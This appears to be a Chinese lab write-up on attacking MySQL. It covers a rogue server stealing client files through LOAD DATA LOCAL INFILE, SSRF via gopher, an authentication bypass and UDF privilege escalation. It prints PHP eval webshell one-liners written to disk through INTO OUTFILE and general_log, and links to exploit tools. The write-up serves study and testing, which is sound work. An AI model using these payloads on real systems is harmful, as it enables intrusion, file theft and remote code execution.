本次实验使用腾讯云主机的MySQL Server作为服务端,阿里云主机作为MySQL客户端。
其中均使用宝塔面板搭建MySQL8.0版本。
首先要开放腾讯云主机的端口,并且允许MySQL Server允许任意用户远程登录。
适用范围:全版本 MySQL/MariaDB Client
条件:客户端连接时开启 –enable-local-infile
一开始做实验的时候有点懵逼,我作为攻击方去连接受害者的MySQL客户端,然后再读取我本地的文件???
后来我再网上查看这个攻击面的利用场景,虽然确实用的地方比较少,但是看了LoRexxar这篇文章之后,还是很有收获的。
这个实验的前提MySQL变量
local_infile=1
CTFer对MySQL的load data infile语句应该都是比较熟悉的,一般形式:
1 | load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n'; |
MySQL Server会读取服务端的/etc/passwd
然后将数据按照\n
分割插入表中,但是非local加载的语句收到secure_file_priv
的限制:
1 | mysql> load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n'; |
但是加上一个local关键字:
1 | mysql> load data local infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n'; |
是可以成功执行的,相当于是读取客户端的文件发送到服务端。
MySQL认为服务端可以要求客户端读取有可读权限的任何文件,客户端不应该连接到不可信的服务端。
那么现在的问题就是如何构造一个恶意的MySQL服务端。
在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。
不知道为啥请求包没有显示用户名,可能是MySQL版本的原因。
由于使用了SSL通信,所以这里看不到具体的初始化查询语句。
这次得把MySQL的SSL连接关闭掉,不然看不到执行语句。方法就是在MySQL的配置文件my.conf的[mysqld]添加skip_ssl
即可,再在客户端检查一下是否已经关闭SSL:
确认关闭后,执行load file data语句
1 | load data local infile '/etc/passwd' into table mytable FIELDS TERMINATED BY '\n'; |
首先是客户端发发送查询
接着服务端返回了需要的路径,功能类似于告诉客户端把这个文件发给我让我看看
****
然后客户端直接把内容发送到了服务端
从上面这个流程可以看出,客户端读取文件的路径并不是从客户端指定的,而是从服务端指定再发送客户端。
正常的查询流程:
1 | Client: 我要把/etc/passwd插入表中 |
如果是一个恶意的服务端,可以把流程更改为:
1 | Client: 我要test表中的内容 |
并且从MySQL的官方文档中指出服务端可以在任何查询语句后回复文件传输请求,也就是说上面第三个语句是可以执行的。
所以构造一个恶意服务端的流程就是:1.回复MySQL client一个greeting包;2.等待client端发送一个查询包;3.回复一个file transfer包。
发现这个漏洞的原作者给出了POC,但是LoRexxar文中提到这个POC并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接,也有部分mysql client端对greeting包有较强的校验。
这里就拿网上更改之后的POC来拿做实验:https://github.com/allyshka/Rogue-MySql-Server
1 | service mysqld stop |
1 | python rogue_mysql_server.py |
1 | mysql -h xxx -u root -p |
LoRexxar文章中还接着提到了关于这个漏洞的进一步利用,比如说读取配置文件,Phar反序列化等等。
其中Phar反序列化这个还挺有意思的,首先生成一个phar:
1 |
|
然后用test.php模拟一次查询
1 |
|
伪造的evil mysql server中让mysql client去做load file local
查询,读取本地的phar文件。
适用范围:全版本 MySQL/MariaDB Server
条件:拥有空密码用户
之前在总结SSRF漏洞的时候提到过利用SSRF攻击Redis和FastCGI,没写过关于MySQL。
同样的,利用SSRF攻击MySQL也需要了解MySQL的完整交互协议,并且伪造客户端,通过SSRF进行交互连接。
参考文章同样来自于一篇Seebug上的文章:https://paper.seebug.org/510/
这个利用条件比较苛刻,可以归属于未授权访问,因为非交互模式下登录并操作MySQL只能无需密码认证。
关于MySQL的认证过程和报文格式我就不多叙述,这里直接演示一下过程,以腾讯云主机MySQL80作为实验机,本地登录。
首先需要新建一个MySQL用户,并且密码为空,使用root登录MySQL后执行如下命令:
1 | CREATE USER ' usernopass'@'localhost'; |
有两个办法,一种是用gopherus工具直接生成payload。
另外一种是自己抓包生成原始数据流,再转换成gopher协议的格式。
再利用脚本转换一下:
1 | def result(s): |
但是这两种办法我都没能复现出来,可能是看不到执行的结果。
接下来,可以使用SSRF攻击MySQL,那么就可以利用MySQL写入webshell,但是要求secure_file_priv不能为空。
这个就比较简单了,但是对要求服务端配置可读写目录和正确的用户权限。
读文件:
1 | SELECT LOAD_FILE ('/var/lib/mysql-files/aaa') AS Result; |
1 | create database test; |
写文件:
1 | select group_concat (id) from test INTO OUTFILE "/var/lib/mysql-files/aaaa"; |
提权就不写那么详细了,主要是参考m00nback的文章:https://www.m00nback.xyz/2020/03/30/mysql提权总结/
该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
影响版本:
MSF有相关利用模块:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
跟上面描述的差不多,关键还是secure_file_priv
这个参数,而且是只读参数,必须更改MySQL的配置文件再重启MySQL服务。
来个🌰
1 | select '<?php @eval($_POST[1]);?>' into outfile "/var/lib/mysql-files/aaa"; |
前提是知道MySQL root用户密码,第一步开启日志记录:
1 | set global general_log='on'; |
日志文件导出到指定目录:
1 | set global general_log_file="/tmp/shell.php"; |
记录SQL语句写shell:
1 | select "<?php array_udiff_assoc(array($_REQUEST[1]), array(1), "ass"."ert");?>"; |
关闭记录:
1 | set global general_log='off'; |
大马提权:https://github.com/echohun/tools/blob/master/大马/udf.php
手工提权:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql